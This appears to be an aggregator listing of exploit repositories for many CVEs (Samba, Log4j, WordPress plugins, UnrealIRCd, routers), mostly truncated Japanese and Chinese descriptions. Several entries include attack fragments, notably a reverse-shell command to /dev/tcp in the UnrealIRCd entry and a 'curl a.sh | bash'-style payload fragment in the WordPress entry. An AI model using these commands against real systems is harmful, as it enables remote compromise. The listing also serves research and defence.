CVE-2023-38632

CVE-2023-38632 async-sockets-cpp 0.3.1 までには、tcpsocket.hpp の 102～110 行目にある static void ReceiveTCPSocket socket にリモートバッファオーバーフローの脆弱性があります。このバッファオーバーフローは、該当するすべての TCP サーバーに影響します。このリモートバッファオーバーフローは、ソケットに接続して大きなバイト列のバッファを送信することで誘発されます。 root@kitploit: while messageLength = recvsocket-sock, tempBuffer,...

CVE-2023-6553

CVE-2023-6553 WordPressのBackupプラグインにおけるCVE-2023-6553のエクスプロイト開発 これはCVSSスコア9.8の重大なCVEです。 この脆弱性により、攻撃者は脆弱なバージョンのプラグインを実行しているサーバーにコマンドを送信できます。 脆弱なバージョン Backup :9000/a.sh |bash';?"...

CVE-2017-7494_IT19115344

CVE-2017-7494IT19115344 Samba にリモートコード実行の脆弱性が発見されました。Samba 共有に対して書き込みアクセス権を持つ悪意のある認証済み Samba クライアントは、この脆弱性を利用して root として任意のコードを実行できる可能性があります。...

CVE-2023-47464

GL-AX1800 路由器安全评估报告 概述 本报告概述了对 GL.iNet 生产的 GL-AX1800 路由器进行的一次全面安全评估结果。评估旨在识别设备安全措施中的潜在漏洞和弱点。在评估过程中，发现了若干严重安全问题，包括跨站请求伪造 CSRF、不安全的文件上传、路径遍历、文件覆盖导致远程代码执行 RCE 以及无限制的文件访问下载。 漏洞 跨站请求伪造 CSRF GL-AX1800 路由器容易受到 CSRF 攻击，攻击者可利用此漏洞在已认证用户不知情的情况下执行未授权操作。通过精心构造恶意请求并诱骗用户访问特制网页，攻击者可以操控路由器设置，进而可能导致对设备的未授权访问或控制。...

CVE-2020-23934

CVE-2020-23934 参考文献 1 https://www.exploit-db.com/exploits/48636 2 https://github.com/vj0shii/PRTG-Network-MonitorCMS-Authenticated-Remote-Code-Execution/blob/master/PRTGCMS.py 3 https://stackoverflow.com/questions/12385179/how-to-send-a-multipart-form-data-with-requests-in-python 4...

CVE-2026-20253

CVE-2026-20253 - Splunk Enterprise ⚡ 簡単な使い方 このプロジェクトは、以下のような安全かつ許可された環境でのみ使用してください： ローカル仮想マシン Dockerコンテナ 隔離されたラボ環境 許可されたペネトレーションテスト環境 セットアップ例： root@kitploit: git clone https://github.com/HORKimhab/CVE-2026-20253 cd CVE-2026-20253 Project use python follow below Create a virtual environment python...

CVE-2021-44228-Log4j-PoC-RCE

Apache Log4j CVE-2021-44228 GK7 PoC 手順 1. Log4jRCE.java をコンパイルし、.class ファイルを Web サーバーに移動します 例: ローカル PHP 1. cd src/main/java 2. javac Log4jRCE.java 3. .class ファイルを Web サーバーに移動するか、ローカルで PHP を起動します。例: php -S 127.0.0.1:8888 2. LDAP サーバーを起動する 1. git clone...

CVE-2022-30190_EXP_PowerPoint

CVE-2022-30190EXPPowerPoint これは PowerPoint における CVE-2022-30190 のエクスプロイトです。 ファイルの拡張子を 'zip' に変更して解凍し、\ppt\slides\rels\slide1.xml.rels を編集して、あなたの VPS の IP:Port に次のように置き換えます。その後、同じ方法で圧縮し、拡張子を 'ppsx' に変更します。'exploit.html' 内のデフォルトのペイロードは calc を実行するものです。 root@kitploit: 参照:...

CVE-2024-53900

CTF チャレンジ - Mongoose RCE CVE-2024-53900 チャレンジ概要 この Capture The Flag CTF チャレンジは、Mongoose の脆弱性 CVE-2024-53900 に基づいています。この脆弱性は、MongoDB クエリ内の $where 演算子の不適切な使用により、リモートコード実行 RCE を可能にします。 あなたの目標は、この脆弱性を悪用して、アプリケーション内に隠されたフラグを取得することです！ セットアップ手順 1 依存関係のインストール Node.js がインストールされていることを確認し、次のコマンドを実行します：...

http-vuln-cve2020-3452.nse

http-vuln-cve2020-3452.nse CVE-2020-3452 : Cisco ASA および FTD の未承認リモートファイル読み取り Nmap NSE スクリプト...

CVE-2021-21110

CVE-2021-21110 CVE-2021-21110 : Tiki Wiki CMS GroupWare サーバーサイドテンプレートインジェクション リモートコード実行エクスプロイト...

CVE-2025-55182-React2Shell-Lab

CyberSec Blog CTF - React2Shell PoC このリポジトリは、Next.jsとReact Server Componentsを使用したサイバーセキュリティブログをベースにした、脆弱なCTF（Capture The Flag）環境を提供します。 CVE-2025-55182 : React Server Components バージョン19.0.0、19.1.0、19.1.1、19.2.0における事前認証リモートコード実行（RCE）の脆弱性。脆弱なコードは、Server...

OHTS

OHTS CVE-2017-8759 | .NET Framework リモートコード実行の脆弱性 1. はじめに Microsoft .NET Framework が信頼できない入力を処理するときに、リモートコード実行の脆弱性が存在します。.NET Framework...

CVE-2024-48197

CVE-2024-48197 AudioCodes MP-202b における反射型XSS 説明 Audiocodes MP-202b v.4.4.3 におけるクロスサイトスクリプティングの脆弱性により、リモートの攻撃者がWebインターフェースのログインページを介して権限を昇格させることが可能です。 追加情報 N/A 脆弱性タイプ 反射型クロスサイトスクリプティング XSS 製品ベンダー Audiocodes 影響を受ける製品コードベース MP-202b - 4.4.3 影響を受けるコンポーネント デバイスのWebインターフェースのログインページ 攻撃タイプ リモート 権限昇格への影響...

CVE-2007-2447

Sambaster cve-2007-2447 Samba 3.0.20 必要なモジュール: root@kitploit: pysmb インストールしていない場合: root@kitploit: pip3 install pysmb 使用方法: root@kitploit: python3 sambaster.py...

CVE-2025-60787-Detection-motionEye-RCE-via-Config-Injection

README.md CVE-2025-60787 検出: motionEye 設定インジェクションによるRCE motionEye 静止画像 - 画像ファイル名 PoCペイロードの例: root@kitploit: $touch /tmp/test.%Y-%m-%d-%H-%M-%S motion が再起動すると、シェルコマンドが実行され /tmp/test が作成されます。 検出カバレッジ YARA検出 motionEye 設定ディレクトリをスキャン: root@kitploit: yara -r rules/yara/motioneyercecve202560787.yar...

exploit-CVE-2015-8351

Gwolle Guestbook WordPress Plugin RFI Exploit このPythonスクリプトは、Gwolle Guestbook WordPressプラグインの重大なリモートファイルインクルード（RFI）脆弱性を悪用します。この脆弱性により、認証されていない攻撃者がリモートのPHPファイルをインクルードし、脆弱なシステム上で任意のコードを実行できる可能性があります。 脆弱性の詳細 HTTP...

Laravel-8.4.2-rce-CVE-2021-3129

Laravel-8.4.2-rce-CVE-2021-3129 root@kitploit: exploit.py tested use python3,and only working with phpggc . first docker-compose up port on 8888 at 127.0.0.1 generate key first...

CVE-2023-27742

CVE-2023-27742 IDURAR ERP/CRM v1 には、コンポーネント /api/login を介した SQL インジェクションの脆弱性が存在することが発見されました。 Description IDURAR ERP/CRM v1 には、コンポーネント /api/login を介した SQL インジェクションの脆弱性が存在することが発見されました。 Vulnerability Type SQL インジェクション Vendor of Product IDURAR ERP/CRM v1 Affected Product Code Base...

CVE-2010-2075-UnrealIRCd-3.2.8.1

CVE-2010-2075 CVE:2010-2075 用エクスプロイト。このエクスプロイトは UnrealIRCd 3.2.8.1 でリモートコード実行を可能にします。 要件 optparse, signal 使用方法 実行するコマンドを送信できますが、応答しない場合もあります。その場合は、リバースシェルを送信して接続が届くのを待つだけで構いません。 root@kitploit: python3 CVE-2010-2075.py -t 10.0.2.119 -p 6667 -c 'bash -c "bash -i & /dev/tcp/10.0.2.48/443 0&1"'...